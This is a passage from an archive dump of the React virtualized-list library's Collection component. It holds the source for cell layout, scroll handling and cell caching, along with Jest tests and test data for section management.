      throw Error("Invalid metadata returned for cell ".concat(index, ":\n        x:").concat(cellMetadatum.x, ", y:").concat(cellMetadatum.y, ", width:").concat(cellMetadatum.width, ", height:").concat(cellMetadatum.height));
    }

    height = Math.max(height, cellMetadatum.y + cellMetadatum.height);
    width = Math.max(width, cellMetadatum.x + cellMetadatum.width);
    cellMetadata[index] = cellMetadatum;
    sectionManager.registerCell({
      cellMetadatum: cellMetadatum,
      index: index
    });
  }

  return {
    cellMetadata: cellMetadata,
    height: height,
    sectionManager: sectionManager,
    width: width
  };
}es/Collection/utils/calculateSizeAndPositionData.jest.js000064400000002132151677406000017446 0ustar00import calculateSizeAndPositionData from './calculateSizeAndPositionData';
describe('calculateSizeAndPositionData', function () {
  it('should query for size and position of each cell', function () {
    var cellSizeAndPositionGetterCalls = [];

    function cellSizeAndPositionGetter(_ref) {
      var index = _ref.index;
      cellSizeAndPositionGetterCalls.push(index);
      return {
        x: index * 50,
        y: 0,
        width: 50,
        height: 50
      };
    }

    var _calculateSizeAndPosi = calculateSizeAndPositionData({
      cellCount: 3,
      cellSizeAndPositionGetter: cellSizeAndPositionGetter
    }),
        sectionManager = _calculateSizeAndPosi.sectionManager;

    expect(cellSizeAndPositionGetterCalls).toEqual([0, 1, 2]);
    expect(sectionManager.getTotalSectionCount()).toEqual(2);
  });
  it('should throw an error if invalid metadata is returned for a cell', function () {
    expect(function () {
      return calculateSizeAndPositionData({
        cellCount: 3,
        cellSizeAndPositionGetter: function cellSizeAndPositionGetter() {}
      });
    }).toThrow();
  });
});es/Collection/index.js000064400000000130151677406000010713 0ustar00import Collection from './Collection';
export default Collection;
export { Collection };es/Collection/Collection.js000064400000021157151677406000011713 0ustar00import _extends from "@babel/runtime/helpers/extends";
import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";
import PropTypes from 'prop-types';
import * as React from 'react';
import CollectionView from './CollectionView';
import _calculateSizeAndPositionData from './utils/calculateSizeAndPositionData';
import getUpdatedOffsetForIndex from '../utils/getUpdatedOffsetForIndex';

/**
 * Renders scattered or non-linear data.
 * Unlike Grid, which renders checkerboard data, Collection can render arbitrarily positioned- even overlapping- data.
 */
var Collection =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(Collection, _React$PureComponent);

  function Collection(props, context) {
    var _this;

    _classCallCheck(this, Collection);

    _this = _possibleConstructorReturn(this, _getPrototypeOf(Collection).call(this, props, context));
    _this._cellMetadata = [];
    _this._lastRenderedCellIndices = []; // Cell cache during scroll (for performance)

    _this._cellCache = [];
    _this._isScrollingChange = _this._isScrollingChange.bind(_assertThisInitialized(_this));
    _this._setCollectionViewRef = _this._setCollectionViewRef.bind(_assertThisInitialized(_this));
    return _this;
  }

  _createClass(Collection, [{
    key: "forceUpdate",
    value: function forceUpdate() {
      if (this._collectionView !== undefined) {
        this._collectionView.forceUpdate();
      }
    }
    /** See Collection#recomputeCellSizesAndPositions */

  }, {
    key: "recomputeCellSizesAndPositions",
    value: function recomputeCellSizesAndPositions() {
      this._cellCache = [];

      this._collectionView.recomputeCellSizesAndPositions();
    }
    /** React lifecycle methods */

  }, {
    key: "render",
    value: function render() {
      var props = _extends({}, this.props);

      return React.createElement(CollectionView, _extends({
        cellLayoutManager: this,
        isScrollingChange: this._isScrollingChange,
        ref: this._setCollectionViewRef
      }, props));
    }
    /** CellLayoutManager interface */

  }, {
    key: "calculateSizeAndPositionData",
    value: function calculateSizeAndPositionData() {
      var _this$props = this.props,
          cellCount = _this$props.cellCount,
          cellSizeAndPositionGetter = _this$props.cellSizeAndPositionGetter,
          sectionSize = _this$props.sectionSize;

      var data = _calculateSizeAndPositionData({
        cellCount: cellCount,
        cellSizeAndPositionGetter: cellSizeAndPositionGetter,
        sectionSize: sectionSize
      });

      this._cellMetadata = data.cellMetadata;
      this._sectionManager = data.sectionManager;
      this._height = data.height;
      this._width = data.width;
    }
    /**
     * Returns the most recently rendered set of cell indices.
     */

  }, {
    key: "getLastRenderedIndices",
    value: function getLastRenderedIndices() {
      return this._lastRenderedCellIndices;
    }
    /**
     * Calculates the minimum amount of change from the current scroll position to ensure the specified cell is (fully) visible.
     */

  }, {
    key: "getScrollPositionForCell",
    value: function getScrollPositionForCell(_ref) {
      var align = _ref.align,
          cellIndex = _ref.cellIndex,
          height = _ref.height,
          scrollLeft = _ref.scrollLeft,
          scrollTop = _ref.scrollTop,
          width = _ref.width;
      var cellCount = this.props.cellCount;

      if (cellIndex >= 0 && cellIndex < cellCount) {
        var cellMetadata = this._cellMetadata[cellIndex];
        scrollLeft = getUpdatedOffsetForIndex({
          align: align,
          cellOffset: cellMetadata.x,
          cellSize: cellMetadata.width,
          containerSize: width,
          currentOffset: scrollLeft,
          targetIndex: cellIndex
        });
        scrollTop = getUpdatedOffsetForIndex({
          align: align,
          cellOffset: cellMetadata.y,
          cellSize: cellMetadata.height,
          containerSize: height,
          currentOffset: scrollTop,
          targetIndex: cellIndex
        });
      }

      return {
        scrollLeft: scrollLeft,
        scrollTop: scrollTop
      };
    }
  }, {
    key: "getTotalSize",
    value: function getTotalSize() {
      return {
        height: this._height,
        width: this._width
      };
    }
  }, {
    key: "cellRenderers",
    value: function cellRenderers(_ref2) {
      var _this2 = this;

      var height = _ref2.height,
          isScrolling = _ref2.isScrolling,
          width = _ref2.width,
          x = _ref2.x,
          y = _ref2.y;
      var _this$props2 = this.props,
          cellGroupRenderer = _this$props2.cellGroupRenderer,
          cellRenderer = _this$props2.cellRenderer; // Store for later calls to getLastRenderedIndices()

      this._lastRenderedCellIndices = this._sectionManager.getCellIndices({
        height: height,
        width: width,
        x: x,
        y: y
      });
      return cellGroupRenderer({
        cellCache: this._cellCache,
        cellRenderer: cellRenderer,
        cellSizeAndPositionGetter: function cellSizeAndPositionGetter(_ref3) {
          var index = _ref3.index;
          return _this2._sectionManager.getCellMetadata({
            index: index
          });
        },
        indices: this._lastRenderedCellIndices,
        isScrolling: isScrolling
      });
    }
  }, {
    key: "_isScrollingChange",
    value: function _isScrollingChange(isScrolling) {
      if (!isScrolling) {
        this._cellCache = [];
      }
    }
  }, {
    key: "_setCollectionViewRef",
    value: function _setCollectionViewRef(ref) {
      this._collectionView = ref;
    }
  }]);

  return Collection;
}(React.PureComponent);

_defineProperty(Collection, "defaultProps", {
  'aria-label': 'grid',
  cellGroupRenderer: defaultCellGroupRenderer
});

export { Collection as default };
Collection.propTypes = process.env.NODE_ENV !== "production" ? {
  'aria-label': PropTypes.string,

  /**
   * Number of cells in Collection.
   */
  cellCount: PropTypes.number.isRequired,

  /**
   * Responsible for rendering a group of cells given their indices.
   * Should implement the following interface: ({
   *   cellSizeAndPositionGetter:Function,
   *   indices: Array<number>,
   *   cellRenderer: Function
   * }): Array<PropTypes.node>
   */
  cellGroupRenderer: PropTypes.func.isRequired,

  /**
   * Responsible for rendering a cell given an row and column index.
   * Should implement the following interface: ({ index: number, key: string, style: object }): PropTypes.element
   */
  cellRenderer: PropTypes.func.isRequired,

  /**
   * Callback responsible for returning size and offset/position information for a given cell (index).
   * ({ index: number }): { height: number, width: number, x: number, y: number }
   */
  cellSizeAndPositionGetter: PropTypes.func.isRequired,

  /**
   * Optionally override the size of the sections a Collection's cells are split into.
   */
  sectionSize: PropTypes.number
} : {};

function defaultCellGroupRenderer(_ref4) {
  var cellCache = _ref4.cellCache,
      cellRenderer = _ref4.cellRenderer,
      cellSizeAndPositionGetter = _ref4.cellSizeAndPositionGetter,
      indices = _ref4.indices,
      isScrolling = _ref4.isScrolling;
  return indices.map(function (index) {
    var cellMetadata = cellSizeAndPositionGetter({
      index: index
    });
    var cellRendererProps = {
      index: index,
      isScrolling: isScrolling,
      key: index,
      style: {
        height: cellMetadata.height,
        left: cellMetadata.x,
        position: 'absolute',
        top: cellMetadata.y,
        width: cellMetadata.width
      }
    }; // Avoid re-creating cells while scrolling.
    // This can lead to the same cell being created many times and can cause performance issues for "heavy" cells.
    // If a scroll is in progress- cache and reuse cells.
    // This cache will be thrown away once scrolling complets.

    if (isScrolling) {
      if (!(index in cellCache)) {
        cellCache[index] = cellRenderer(cellRendererProps);
      }

      return cellCache[index];
    } else {
      return cellRenderer(cellRendererProps);
    }
  }).filter(function (renderedCell) {
    return !!renderedCell;
  });
}

import { bpfrpt_proptype_ScrollPosition } from "./types";
import { bpfrpt_proptype_SizeInfo } from "./types";es/Collection/TestData.js000064400000001476151677406000011333 0ustar00/*
  0 1 2 3 4 5
 ┏━━━┯━━━┯━━━┓
0┃0 0┊1 3┊6 6┃
1┃0 0┊2 3┊6 6┃
 ┠┈┈┈┼┈┈┈┼┈┈┈┨
2┃4 4┊4 3┊7 8┃
3┃4 4┊4 5┊9 9┃
 ┗━━━┷━━━┷━━━┛

Sections to Cells map:
 0.0 [0]
 1.0 [1, 2, 3]
 2.0 [6]
 0.1 [4]
 1.1 [3, 4, 5]
 2.1 [7, 8, 9]
*/
export var CELLS = [{
  x: 0,
  y: 0,
  width: 2,
  height: 2
}, {
  x: 2,
  y: 0,
  width: 1,
  height: 1
}, {
  x: 2,
  y: 1,
  width: 1,
  height: 1
}, {
  x: 3,
  y: 0,
  width: 1,
  height: 3
}, {
  x: 0,
  y: 2,
  width: 3,
  height: 2
}, {
  x: 3,
  y: 3,
  width: 1,
  height: 1
}, {
  x: 4,
  y: 0,
  width: 2,
  height: 2
}, {
  x: 4,
  y: 2,
  width: 1,
  height: 1
}, {
  x: 5,
  y: 2,
  width: 1,
  height: 1
}, {
  x: 4,
  y: 3,
  width: 2,
  height: 1
}];
export var SECTION_SIZE = 2;es/Collection/SectionManager.jest.js000064400000005247151677406000013465 0ustar00import SectionManager from './SectionManager';
import { CELLS, SECTION_SIZE } from './TestData';

function initSectionManager() {
  var sectionManager = new SectionManager(SECTION_SIZE);
  CELLS.forEach(function (cellMetadatum, index) {
    sectionManager.registerCell({
      cellMetadatum: cellMetadatum,
      index: index
    });
  });
  return sectionManager;
}

function verifySections(sectionManager, sizeAndPosition, expectedSizeAndPositionInfos) {
  var sections = sectionManager.getSections(sizeAndPosition);
  expect(sections.length).toEqual(expectedSizeAndPositionInfos.length);
  expectedSizeAndPositionInfos.forEach(function (sizeAndPosition) {
    var match = sections.find(function (section) {
      return section.x === sizeAndPosition.x && section.y === sizeAndPosition.y;
    });
    expect(!!match).toEqual(true);
  });
}

describe('SectionManager', function () {
  it('creates the appropriate number of Sections', function () {
    var sectionManager = initSectionManager();
    expect(sectionManager.getTotalSectionCount()).toEqual(6);
  });
  it('returns the proper Sections based on the specified area', function () {
    var sectionManager = initSectionManager();
    verifySections(sectionManager, {
      x: 0,
      y: 0,
      width: 1,
      height: 1
    }, [{
      x: 0,
      y: 0
    }]);
    verifySections(sectionManager, {
      x: 1,
      y: 1,
      width: 1,
      height: 1
    }, [{
      x: 0,
      y: 0
    }]);
    verifySections(sectionManager, {
      x: 0,
      y: 0,
      width: 4,
      height: 4
    }, [{
      x: 0,
      y: 0
    }, {
      x: 2,
      y: 0
    }, {
      x: 0,
      y: 2
    }, {
      x: 2,
      y: 2
    }]);
    verifySections(sectionManager, {
      x: 4,
      y: 0,
      width: 2,
      height: 3
    }, [{
      x: 4,
      y: 0
    }, {
      x: 4,
      y: 2
    }]);
  });
  it('assigns cells to the appropriate sections', function () {
    var sectionManager = initSectionManager();
    expect(sectionManager.getCellIndices({
      x: 0,
      y: 0,
      width: 2,
      height: 2
    })).toEqual([0]);
    expect(sectionManager.getCellIndices({
      x: 2,
      y: 0,
      width: 2,
      height: 2
    })).toEqual([1, 2, 3]);
    expect(sectionManager.getCellIndices({
      x: 4,
      y: 0,
      width: 2,
      height: 2
    })).toEqual([6]);
    expect(sectionManager.getCellIndices({
      x: 0,
      y: 2,
      width: 2,
      height: 2
    })).toEqual([4]);
    expect(sectionManager.getCellIndices({
      x: 2,
      y: 2,
      width: 2,
      height: 2
    })).toEqual([3, 4, 5]);
    expect(sectionManager.getCellIndices({
      x: 4,
      y: 2,
      width: 2,
      height: 2
    })).toEqual([7, 8, 9]);
  });
});es/Collection/CollectionView.js000064400000056774151677406000012563 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

import clsx from 'clsx';
import PropTypes from 'prop-types';
import * as React from 'react';
import { polyfill } from 'react-lifecycles-compat';
import createCallbackMemoizer from '../utils/createCallbackMemoizer';
import getScrollbarSize from 'dom-helpers/scrollbarSize'; // @TODO Merge Collection and CollectionView

/**
 * Specifies the number of milliseconds during which to disable pointer events while a scroll is in progress.
 * This improves performance and makes scrolling smoother.
 */

var IS_SCROLLING_TIMEOUT = 150;
/**
 * Controls whether the Grid updates the DOM element's scrollLeft/scrollTop based on the current state or just observes it.
 * This prevents Grid from interrupting mouse-wheel animations (see issue #2).
 */

var SCROLL_POSITION_CHANGE_REASONS = {
  OBSERVED: 'observed',
  REQUESTED: 'requested'
};
/**
 * Monitors changes in properties (eg. cellCount) and state (eg. scroll offsets) to determine when rendering needs to occur.
 * This component does not render any visible content itself; it defers to the specified :cellLayoutManager.
 */

var CollectionView =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(CollectionView, _React$PureComponent);

  // Invokes callbacks only when their values have changed.
  function CollectionView() {
    var _getPrototypeOf2;

    var _this;

    _classCallCheck(this, CollectionView);

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    _this = _possibleConstructorReturn(this, (_getPrototypeOf2 = _getPrototypeOf(CollectionView)).call.apply(_getPrototypeOf2, [this].concat(args))); // If this component is being rendered server-side, getScrollbarSize() will return undefined.
    // We handle this case in componentDidMount()

    _defineProperty(_assertThisInitialized(_this), "state", {
      isScrolling: false,
      scrollLeft: 0,
      scrollTop: 0
    });

    _defineProperty(_assertThisInitialized(_this), "_calculateSizeAndPositionDataOnNextUpdate", false);

    _defineProperty(_assertThisInitialized(_this), "_onSectionRenderedMemoizer", createCallbackMemoizer());

    _defineProperty(_assertThisInitialized(_this), "_onScrollMemoizer", createCallbackMemoizer(false));

    _defineProperty(_assertThisInitialized(_this), "_invokeOnSectionRenderedHelper", function () {
      var _this$props = _this.props,
          cellLayoutManager = _this$props.cellLayoutManager,
          onSectionRendered = _this$props.onSectionRendered;

      _this._onSectionRenderedMemoizer({
        callback: onSectionRendered,
        indices: {
          indices: cellLayoutManager.getLastRenderedIndices()
        }
      });
    });

    _defineProperty(_assertThisInitialized(_this), "_setScrollingContainerRef", function (ref) {
      _this._scrollingContainer = ref;
    });

    _defineProperty(_assertThisInitialized(_this), "_updateScrollPositionForScrollToCell", function () {
      var _this$props2 = _this.props,
          cellLayoutManager = _this$props2.cellLayoutManager,
          height = _this$props2.height,
          scrollToAlignment = _this$props2.scrollToAlignment,
          scrollToCell = _this$props2.scrollToCell,
          width = _this$props2.width;
      var _this$state = _this.state,
          scrollLeft = _this$state.scrollLeft,
          scrollTop = _this$state.scrollTop;

      if (scrollToCell >= 0) {
        var scrollPosition = cellLayoutManager.getScrollPositionForCell({
          align: scrollToAlignment,
          cellIndex: scrollToCell,
          height: height,
          scrollLeft: scrollLeft,
          scrollTop: scrollTop,
          width: width
        });

        if (scrollPosition.scrollLeft !== scrollLeft || scrollPosition.scrollTop !== scrollTop) {
          _this._setScrollPosition(scrollPosition);
        }
      }
    });

    _defineProperty(_assertThisInitialized(_this), "_onScroll", function (event) {
      // In certain edge-cases React dispatches an onScroll event with an invalid target.scrollLeft / target.scrollTop.
      // This invalid event can be detected by comparing event.target to this component's scrollable DOM element.
      // See issue #404 for more information.
      if (event.target !== _this._scrollingContainer) {
        return;
      } // Prevent pointer events from interrupting a smooth scroll


      _this._enablePointerEventsAfterDelay(); // When this component is shrunk drastically, React dispatches a series of back-to-back scroll events,
      // Gradually converging on a scrollTop that is within the bounds of the new, smaller height.
      // This causes a series of rapid renders that is slow for long lists.
      // We can avoid that by doing some simple bounds checking to ensure that scrollTop never exceeds the total height.


      var _this$props3 = _this.props,
          cellLayoutManager = _this$props3.cellLayoutManager,
          height = _this$props3.height,
          isScrollingChange = _this$props3.isScrollingChange,
          width = _this$props3.width;
      var scrollbarSize = _this._scrollbarSize;

      var _cellLayoutManager$ge = cellLayoutManager.getTotalSize(),
          totalHeight = _cellLayoutManager$ge.height,
          totalWidth = _cellLayoutManager$ge.width;

      var scrollLeft = Math.max(0, Math.min(totalWidth - width + scrollbarSize, event.target.scrollLeft));
      var scrollTop = Math.max(0, Math.min(totalHeight - height + scrollbarSize, event.target.scrollTop)); // Certain devices (like Apple touchpad) rapid-fire duplicate events.
      // Don't force a re-render if this is the case.
      // The mouse may move faster then the animation frame does.
      // Use requestAnimationFrame to avoid over-updating.

      if (_this.state.scrollLeft !== scrollLeft || _this.state.scrollTop !== scrollTop) {
        // Browsers with cancelable scroll events (eg. Firefox) interrupt scrolling animations if scrollTop/scrollLeft is set.
        // Other browsers (eg. Safari) don't scroll as well without the help under certain conditions (DOM or style changes during scrolling).
        // All things considered, this seems to be the best current work around that I'm aware of.
        // For more information see https://github.com/bvaughn/react-virtualized/pull/124
        var scrollPositionChangeReason = event.cancelable ? SCROLL_POSITION_CHANGE_REASONS.OBSERVED : SCROLL_POSITION_CHANGE_REASONS.REQUESTED; // Synchronously set :isScrolling the first time (since _setNextState will reschedule its animation frame each time it's called)

        if (!_this.state.isScrolling) {
          isScrollingChange(true);
        }

        _this.setState({
          isScrolling: true,
          scrollLeft: scrollLeft,
          scrollPositionChangeReason: scrollPositionChangeReason,
          scrollTop: scrollTop
        });
      }

      _this._invokeOnScrollMemoizer({
        scrollLeft: scrollLeft,
        scrollTop: scrollTop,
        totalWidth: totalWidth,
        totalHeight: totalHeight
      });
    });

    _this._scrollbarSize = getScrollbarSize();

    if (_this._scrollbarSize === undefined) {
      _this._scrollbarSizeMeasured = false;
      _this._scrollbarSize = 0;
    } else {
      _this._scrollbarSizeMeasured = true;
    }

    return _this;
  }
  /**
   * Forced recompute of cell sizes and positions.
   * This function should be called if cell sizes have changed but nothing else has.
   * Since cell positions are calculated by callbacks, the collection view has no way of detecting when the underlying data has changed.
   */


  _createClass(CollectionView, [{
    key: "recomputeCellSizesAndPositions",
    value: function recomputeCellSizesAndPositions() {
      this._calculateSizeAndPositionDataOnNextUpdate = true;
      this.forceUpdate();
    }
    /* ---------------------------- Component lifecycle methods ---------------------------- */

    /**
     * @private
     * This method updates scrollLeft/scrollTop in state for the following conditions:
     * 1) Empty content (0 rows or columns)
     * 2) New scroll props overriding the current state
     * 3) Cells-count or cells-size has changed, making previous scroll offsets invalid
     */

  }, {
    key: "componentDidMount",
    value: function componentDidMount() {
      var _this$props4 = this.props,
          cellLayoutManager = _this$props4.cellLayoutManager,
          scrollLeft = _this$props4.scrollLeft,
          scrollToCell = _this$props4.scrollToCell,
          scrollTop = _this$props4.scrollTop; // If this component was first rendered server-side, scrollbar size will be undefined.
      // In that event we need to remeasure.

      if (!this._scrollbarSizeMeasured) {
        this._scrollbarSize = getScrollbarSize();
        this._scrollbarSizeMeasured = true;
        this.setState({});
      }

      if (scrollToCell >= 0) {
        this._updateScrollPositionForScrollToCell();
      } else if (scrollLeft >= 0 || scrollTop >= 0) {
        this._setScrollPosition({
          scrollLeft: scrollLeft,
          scrollTop: scrollTop
        });
      } // Update onSectionRendered callback.


      this._invokeOnSectionRenderedHelper();

      var _cellLayoutManager$ge2 = cellLayoutManager.getTotalSize(),
          totalHeight = _cellLayoutManager$ge2.height,
          totalWidth = _cellLayoutManager$ge2.width; // Initialize onScroll callback.


      this._invokeOnScrollMemoizer({
        scrollLeft: scrollLeft || 0,
        scrollTop: scrollTop || 0,
        totalHeight: totalHeight,
        totalWidth: totalWidth
      });
    }
  }, {
    key: "componentDidUpdate",
    value: function componentDidUpdate(prevProps, prevState) {
      var _this$props5 = this.props,
          height = _this$props5.height,
          scrollToAlignment = _this$props5.scrollToAlignment,
          scrollToCell = _this$props5.scrollToCell,
          width = _this$props5.width;
      var _this$state2 = this.state,
          scrollLeft = _this$state2.scrollLeft,
          scrollPositionChangeReason = _this$state2.scrollPositionChangeReason,
          scrollTop = _this$state2.scrollTop; // Make sure requested changes to :scrollLeft or :scrollTop get applied.
      // Assigning to scrollLeft/scrollTop tells the browser to interrupt any running scroll animations,
      // And to discard any pending async changes to the scroll position that may have happened in the meantime (e.g. on a separate scrolling thread).
      // So we only set these when we require an adjustment of the scroll position.
      // See issue #2 for more information.

      if (scrollPositionChangeReason === SCROLL_POSITION_CHANGE_REASONS.REQUESTED) {
        if (scrollLeft >= 0 && scrollLeft !== prevState.scrollLeft && scrollLeft !== this._scrollingContainer.scrollLeft) {
          this._scrollingContainer.scrollLeft = scrollLeft;
        }

        if (scrollTop >= 0 && scrollTop !== prevState.scrollTop && scrollTop !== this._scrollingContainer.scrollTop) {
          this._scrollingContainer.scrollTop = scrollTop;
        }
      } // Update scroll offsets if the current :scrollToCell values requires it


      if (height !== prevProps.height || scrollToAlignment !== prevProps.scrollToAlignment || scrollToCell !== prevProps.scrollToCell || width !== prevProps.width) {
        this._updateScrollPositionForScrollToCell();
      } // Update onRowsRendered callback if start/stop indices have changed


      this._invokeOnSectionRenderedHelper();
    }
  }, {
    key: "componentWillUnmount",
    value: function componentWillUnmount() {
      if (this._disablePointerEventsTimeoutId) {
        clearTimeout(this._disablePointerEventsTimeoutId);
      }
    }
  }, {
    key: "render",
    value: function render() {
      var _this$props6 = this.props,
          autoHeight = _this$props6.autoHeight,
          cellCount = _this$props6.cellCount,
          cellLayoutManager = _this$props6.cellLayoutManager,
          className = _this$props6.className,
          height = _this$props6.height,
          horizontalOverscanSize = _this$props6.horizontalOverscanSize,
          id = _this$props6.id,
          noContentRenderer = _this$props6.noContentRenderer,
          style = _this$props6.style,
          verticalOverscanSize = _this$props6.verticalOverscanSize,
          width = _this$props6.width;
      var _this$state3 = this.state,
          isScrolling = _this$state3.isScrolling,
          scrollLeft = _this$state3.scrollLeft,
          scrollTop = _this$state3.scrollTop; // Memoization reset

      if (this._lastRenderedCellCount !== cellCount || this._lastRenderedCellLayoutManager !== cellLayoutManager || this._calculateSizeAndPositionDataOnNextUpdate) {
        this._lastRenderedCellCount = cellCount;
        this._lastRenderedCellLayoutManager = cellLayoutManager;
        this._calculateSizeAndPositionDataOnNextUpdate = false;
        cellLayoutManager.calculateSizeAndPositionData();
      }

      var _cellLayoutManager$ge3 = cellLayoutManager.getTotalSize(),
          totalHeight = _cellLayoutManager$ge3.height,
          totalWidth = _cellLayoutManager$ge3.width; // Safely expand the rendered area by the specified overscan amount


      var left = Math.max(0, scrollLeft - horizontalOverscanSize);
      var top = Math.max(0, scrollTop - verticalOverscanSize);
      var right = Math.min(totalWidth, scrollLeft + width + horizontalOverscanSize);
      var bottom = Math.min(totalHeight, scrollTop + height + verticalOverscanSize);
      var childrenToDisplay = height > 0 && width > 0 ? cellLayoutManager.cellRenderers({
        height: bottom - top,
        isScrolling: isScrolling,
        width: right - left,
        x: left,
        y: top
      }) : [];
      var collectionStyle = {
        boxSizing: 'border-box',
        direction: 'ltr',
        height: autoHeight ? 'auto' : height,
        position: 'relative',
        WebkitOverflowScrolling: 'touch',
        width: width,
        willChange: 'transform'
      }; // Force browser to hide scrollbars when we know they aren't necessary.
      // Otherwise once scrollbars appear they may not disappear again.
      // For more info see issue #116

      var verticalScrollBarSize = totalHeight > height ? this._scrollbarSize : 0;
      var horizontalScrollBarSize = totalWidth > width ? this._scrollbarSize : 0; // Also explicitly init styles to 'auto' if scrollbars are required.
      // This works around an obscure edge case where external CSS styles have not yet been loaded,
      // But an initial scroll index of offset is set as an external prop.
      // Without this style, Grid would render the correct range of cells but would NOT update its internal offset.
      // This was originally reported via clauderic/react-infinite-calendar/issues/23

      collectionStyle.overflowX = totalWidth + verticalScrollBarSize <= width ? 'hidden' : 'auto';
      collectionStyle.overflowY = totalHeight + horizontalScrollBarSize <= height ? 'hidden' : 'auto';
      return React.createElement("div", {
        ref: this._setScrollingContainerRef,
        "aria-label": this.props['aria-label'],
        className: clsx('ReactVirtualized__Collection', className),
        id: id,
        onScroll: this._onScroll,
        role: "grid",
        style: _objectSpread({}, collectionStyle, {}, style),
        tabIndex: 0
      }, cellCount > 0 && React.createElement("div", {
        className: "ReactVirtualized__Collection__innerScrollContainer",
        style: {
          height: totalHeight,
          maxHeight: totalHeight,
          maxWidth: totalWidth,
          overflow: 'hidden',
          pointerEvents: isScrolling ? 'none' : '',
          width: totalWidth
        }
      }, childrenToDisplay), cellCount === 0 && noContentRenderer());
    }
    /* ---------------------------- Helper methods ---------------------------- */

    /**
     * Sets an :isScrolling flag for a small window of time.
     * This flag is used to disable pointer events on the scrollable portion of the Collection.
     * This prevents jerky/stuttery mouse-wheel scrolling.
     */

  }, {
    key: "_enablePointerEventsAfterDelay",
    value: function _enablePointerEventsAfterDelay() {
      var _this2 = this;

      if (this._disablePointerEventsTimeoutId) {
        clearTimeout(this._disablePointerEventsTimeoutId);
      }

      this._disablePointerEventsTimeoutId = setTimeout(function () {
        var isScrollingChange = _this2.props.isScrollingChange;
        isScrollingChange(false);
        _this2._disablePointerEventsTimeoutId = null;

        _this2.setState({
          isScrolling: false
        });
      }, IS_SCROLLING_TIMEOUT);
    }
  }, {
    key: "_invokeOnScrollMemoizer",
    value: function _invokeOnScrollMemoizer(_ref) {
      var _this3 = this;

      var scrollLeft = _ref.scrollLeft,
          scrollTop = _ref.scrollTop,
          totalHeight = _ref.totalHeight,
          totalWidth = _ref.totalWidth;

      this._onScrollMemoizer({
        callback: function callback(_ref2) {
          var scrollLeft = _ref2.scrollLeft,
              scrollTop = _ref2.scrollTop;
          var _this3$props = _this3.props,
              height = _this3$props.height,
              onScroll = _this3$props.onScroll,
              width = _this3$props.width;
          onScroll({
            clientHeight: height,
            clientWidth: width,
            scrollHeight: totalHeight,
            scrollLeft: scrollLeft,
            scrollTop: scrollTop,
            scrollWidth: totalWidth
          });
        },
        indices: {
          scrollLeft: scrollLeft,
          scrollTop: scrollTop
        }
      });
    }
  }, {
    key: "_setScrollPosition",
    value: function _setScrollPosition(_ref3) {
      var scrollLeft = _ref3.scrollLeft,
          scrollTop = _ref3.scrollTop;
      var newState = {
        scrollPositionChangeReason: SCROLL_POSITION_CHANGE_REASONS.REQUESTED
      };

      if (scrollLeft >= 0) {
        newState.scrollLeft = scrollLeft;
      }

      if (scrollTop >= 0) {
        newState.scrollTop = scrollTop;
      }

      if (scrollLeft >= 0 && scrollLeft !== this.state.scrollLeft || scrollTop >= 0 && scrollTop !== this.state.scrollTop) {
        this.setState(newState);
      }
    }
  }], [{
    key: "getDerivedStateFromProps",
    value: function getDerivedStateFromProps(nextProps, prevState) {
      if (nextProps.cellCount === 0 && (prevState.scrollLeft !== 0 || prevState.scrollTop !== 0)) {
        return {
          scrollLeft: 0,
          scrollTop: 0,
          scrollPositionChangeReason: SCROLL_POSITION_CHANGE_REASONS.REQUESTED
        };
      } else if (nextProps.scrollLeft !== prevState.scrollLeft || nextProps.scrollTop !== prevState.scrollTop) {
        return {
          scrollLeft: nextProps.scrollLeft != null ? nextProps.scrollLeft : prevState.scrollLeft,
          scrollTop: nextProps.scrollTop != null ? nextProps.scrollTop : prevState.scrollTop,
          scrollPositionChangeReason: SCROLL_POSITION_CHANGE_REASONS.REQUESTED
        };
      }

      return null;
    }
  }]);

  return CollectionView;
}(React.PureComponent);

_defineProperty(CollectionView, "defaultProps", {
  'aria-label': 'grid',
  horizontalOverscanSize: 0,
  noContentRenderer: function noContentRenderer() {
    return null;
  },
  onScroll: function onScroll() {
    return null;
  },
  onSectionRendered: function onSectionRendered() {
    return null;
  },
  scrollToAlignment: 'auto',
  scrollToCell: -1,
  style: {},
  verticalOverscanSize: 0
});

CollectionView.propTypes = process.env.NODE_ENV !== "production" ? {
  'aria-label': PropTypes.string,

  /**
   * Removes fixed height from the scrollingContainer so that the total height
   * of rows can stretch the window. Intended for use with WindowScroller
   */
  autoHeight: PropTypes.bool,

  /**
   * Number of cells in collection.
   */
  cellCount: PropTypes.number.isRequired,

  /**
   * Calculates cell sizes and positions and manages rendering the appropriate cells given a specified window.
   */
  cellLayoutManager: PropTypes.object.isRequired,

  /**
   * Optional custom CSS class name to attach to root Collection element.
   */
  className: PropTypes.string,

  /**
   * Height of Collection; this property determines the number of visible (vs virtualized) rows.
   */
